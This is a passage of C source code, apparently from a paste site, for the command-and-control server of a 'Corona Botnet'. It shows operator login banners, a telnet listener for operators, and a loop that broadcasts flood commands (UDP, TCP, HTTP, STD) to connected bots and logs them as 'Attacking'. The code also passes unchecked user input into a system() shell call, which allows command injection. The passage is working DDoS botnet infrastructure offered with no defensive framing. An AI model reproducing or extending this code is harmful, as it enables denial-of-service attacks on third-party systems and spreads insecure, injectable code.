  630.         if(send(thefd, error6, strlen(error6), MSG_NOSIGNAL) == -1) goto end;
  631.         if(send(thefd, error7, strlen(error7), MSG_NOSIGNAL) == -1) goto end;
  632.         if(send(thefd, error8, strlen(error8), MSG_NOSIGNAL) == -1) goto end;
  633.         if(send(thefd, error9, strlen(error9), MSG_NOSIGNAL) == -1) goto end;
  634.         while(1) {
  635.         break;
  636.         }
  637.         continue;
  638.        
  639.         }
  640.        
  641.         if(strstr(buf, "banksy")) {
  642.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  643.        
  644.         char banksy1 [5000];
  645.         char banksy2 [5000];
  646.         char banksy3 [5000];
  647.         char banksy4 [5000];
  648.         char banksy5 [5000];
  649.         char banksy6 [5000];
  650.         char banksy7 [5000];
  651.         char banksy8 [5000];
  652.  
  653.  
  654.         sprintf(banksy1,     "\e[1;34m██████\x1b[1;36m╗ \e[1;34m █████\x1b[1;36m╗\e[1;34m ███\x1b[1;36m╗  \e[1;34m ██\x1b[1;36m╗\e[1;34m██\x1b[1;36m╗ \e[1;34m ██\x1b[1;36m╗\e[1;34m███████\x1b[1;36m╗\e[1;34m██\x1b[1;36m╗ \e[1;34m  ██\x1b[1;36m╗\r\n");
  655.         sprintf(banksy2,     "\e[1;34m██\x1b[1;36m╔══\e[1;34m██\x1b[1;36m╗\e[1;34m██\x1b[1;36m╔══\e[1;34m██\x1b[1;36m╗\e[1;34m████\x1b[1;36m╗  \e[1;34m██\x1b[1;36m║\e[1;34m██\x1b[1;36m║ \e[1;34m██\x1b[1;36m╔╝\e[1;34m██\x1b[1;36m╔════╝╚\e[1;34m██\x1b[1;36m╗\e[1;34m ██\x1b[1;36m╔╝\r\n");
  656.         sprintf(banksy3,     "\e[1;34m██████\x1b[1;36m╔╝\e[1;34m███████\x1b[1;36m║\e[1;34m██\x1b[1;36m╔\e[1;34m██\x1b[1;36m╗\e[1;34m ██\x1b[1;36m║\e[1;34m█████\x1b[1;36m╔╝\e[1;34m ███████\x1b[1;36m╗ ╚\e[1;34m████\x1b[1;36m╔╝ \r\n");
  657.         sprintf(banksy4,     "\e[1;34m██\x1b[1;36m╔══\e[1;34m██\x1b[1;36m╗\e[1;34m██\x1b[1;36m╔══\e[1;34m██\x1b[1;36m║\e[1;34m██\x1b[1;36m║╚\e[1;34m██\x1b[1;36m╗\e[1;34m██\x1b[1;36m║\e[1;34m██\x1b[1;36m╔═\e[1;34m██\x1b[1;36m╗ ╚════\e[1;34m██\x1b[1;36m║  ╚\e[1;34m██\x1b[1;36m╔╝  \r\n");
  658.         sprintf(banksy5,     "\e[1;34m██████\x1b[1;36m╔╝\e[1;34m██\x1b[1;36m║  \e[1;34m██\x1b[1;36m║\e[1;34m██\x1b[1;36m║ ╚\e[1;34m████\x1b[1;36m║\e[1;34m██\x1b[1;36m║ \e[1;34m ██\x1b[1;36m╗\e[1;34m███████\x1b[1;36m║  \e[1;34m ██\x1b[1;36m║   \r\n");
  659.         sprintf(banksy6,     "\x1b[1;36m╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝   ╚═╝ \r\n");
  660.         sprintf(banksy7,     "\e[0;36m\e[0m[\e[0;32m+\e[0m] Type help for Commands \e[0;36m\e[0m[\e[0;32m+\e[0m]\x1b[37m\r\n");
  661.         sprintf(banksy8, "\e[0;31m[\e[0;36mCorona\e[0;31m@\e[0;36mBotnet\e[0;31m\e[0;31m]: \e[0m", usernamez);
  662.        
  663.         if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  664.         if(send(thefd, banksy1, strlen(banksy1), MSG_NOSIGNAL) == -1) goto end;
  665.         if(send(thefd, banksy2, strlen(banksy2), MSG_NOSIGNAL) == -1) goto end;
  666.         if(send(thefd, banksy3, strlen(banksy3), MSG_NOSIGNAL) == -1) goto end;
  667.         if(send(thefd, banksy4, strlen(banksy4), MSG_NOSIGNAL) == -1) goto end;
  668.         if(send(thefd, banksy5, strlen(banksy5), MSG_NOSIGNAL) == -1) goto end;
  669.         if(send(thefd, banksy6, strlen(banksy6), MSG_NOSIGNAL) == -1) goto end;
  670.         if(send(thefd, banksy7, strlen(banksy7), MSG_NOSIGNAL) == -1) goto end;
  671.         if(send(thefd, banksy8, strlen(banksy8), MSG_NOSIGNAL) == -1) goto end;
  672.         while(1) {
  673.         break;
  674.         }
  675.         continue;
  676.        
  677.         }
  678.        
  679.         if(strstr(buf, "cls")){
  680.  
  681.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  682.         if(send(thefd, line1,  strlen(line1),  MSG_NOSIGNAL) == -1) goto end;
  683.         if(send(thefd, line2,  strlen(line2),  MSG_NOSIGNAL) == -1) goto end;
  684.         pthread_create(&title, NULL, &titleWriter, sock);
  685.         managements[thefd].connected = 1;
  686.         }
  687.        
  688.                 trim(buf);
  689.                 if(send(thefd, "\e[0;31m[\e[0;36mCorona\e[0;31m@\e[0;36mBotnet\e[0;31m\e[0;31m]: \e[0m", 64, MSG_NOSIGNAL) == -1) goto end;
  690.                 if(strlen(buf) == 0) continue;
  691.                 if(strstr(buf, "cls") || strstr(buf, "banners") || strstr(buf, "help") || strstr(buf, "bots") || strstr(buf, "cmds") || strstr(buf, "info") || strstr(buf, "senpai") || strstr(buf, "banksy") || strstr(buf, "error")) // change these if ur bot has custom commands
  692.                 {
  693.                     printf("[%s Used: \"%s\"]\n",usernamez, buf);
  694.                 }
  695.                 else if(strstr(buf, "STD") || strstr(buf, "UDP") || strstr(buf, "TCP") || strstr(buf, "HTTP") || strstr(buf, "RAWUDP") || strstr(buf, "UNKNOWN")) // change these if ur bot has custom commands
  696.                 {
  697.                     printf("[%s Attacking: \"%s\"]\n",usernamez, buf);
  698.                 }
  699.                 else
  700.                 {
  701.                     printf("[%s Said: \"%s\"]\n",usernamez, buf);
  702.                 }
  703.                 FILE *logFile;
  704.                 logFile = fopen("report.sql", "a");
  705.                 fprintf(logFile, "[Reporting User: %s]: \"%s\"\n",accounts[find_line].id, buf);
  706.                 fclose(logFile);
  707.                 broadcast(buf, thefd, usernamez);
  708.                 memset(buf, 0, 2048);
  709.         }
  710.  
  711.         end:    // cleanup dead socket
  712.                 managements[thefd].connected = 0;
  713.                 close(thefd);
  714.                 managesConnected--;
  715. }
  716. void *telnetListener(int port)
  717. {
  718.         int sockfd, newsockfd;
  719.         struct epoll_event event;
  720.         char Username[20], Password[20];
  721.         #ifdef User
  722.         printf("Please Enter Username: ");
  723.         scanf("%s",Username);
  724.         printf("Please Enter Password: ");
  725.         scanf("%s",Password);
  726.         char hahaha[80];
  727.         sprintf(hahaha, "echo %s %s >> users.sql", Username, Password);
  728.         system(hahaha);
  729.         #endif
  730.         socklen_t clilen;
  731.         struct sockaddr_in serv_addr, cli_addr;
  732.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  733.         if (sockfd < 0) perror("ERROR opening socket");
  734.         bzero((char *) &serv_addr, sizeof(serv_addr));
  735.         serv_addr.sin_family = AF_INET;
  736.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  737.         serv_addr.sin_port = htons(PORT);
  738.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  739.         listen(sockfd,5);
  740.         clilen = sizeof(cli_addr);
  741.         while(1)
  742.         {
  743.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  744.                 if (newsockfd < 0) perror("ERROR on accept");
  745.                 pthread_t thread;
  746.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  747.         }
  748.        
  749. }
  750.  
  751. int main (int argc, char *argv[], void *sock)
  752. {
  753.    
  754.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  755.         int s, threads, port;
  756.         struct epoll_event event;
  757.         if (argc != 4)
  758.         {
  759.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc port] \n", argv[0]);
  760.                 exit (EXIT_FAILURE);
  761.         }
  762.         port = atoi(argv[3]);
  763.         printf("[\x1b[36mCorona \x1b[32mCnC\x1b[37m]-[\x1b[31mACTION\x1b[37m]: Net Started.\n---------------\n[\x1b[36mCorona \x1b[32mCnC\x1b[37m]: \n");
  764.         telFD = fopen("bots.txt", "a+");
  765.         threads = atoi(argv[2]);
  766.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  767.         if (listenFD == -1) abort ();
  768.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  769.         if (s == -1) abort ();
  770.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  771.         if (s == -1)
  772.         {
  773.                 perror ("listen");
  774.                 abort ();
  775.         }
  776.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  777.         if (epollFD == -1)
  778.         {
  779.                 perror ("epoll_create");
  780.                 abort ();
  781.         }
  782.         event.data.fd = listenFD;
  783.         event.events = EPOLLIN | EPOLLET;
  784.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  785.         if (s == -1)
  786.         {
  787.                 perror ("epoll_ctl");
  788.                 abort ();
  789.         }
  790.         pthread_t thread[threads + 2];
  791.         while(threads--)
  792.         {
  793.                 pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  794.         }
  795.         pthread_create(&thread[0], NULL, &telnetListener, port);
  796.         while(1)
  797.         {
  798.                 broadcast("PING", -1, "Corona");
  799.                 sleep(60);
  800.         }
  801.         close (listenFD);
  802.         return EXIT_SUCCESS;
  803. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement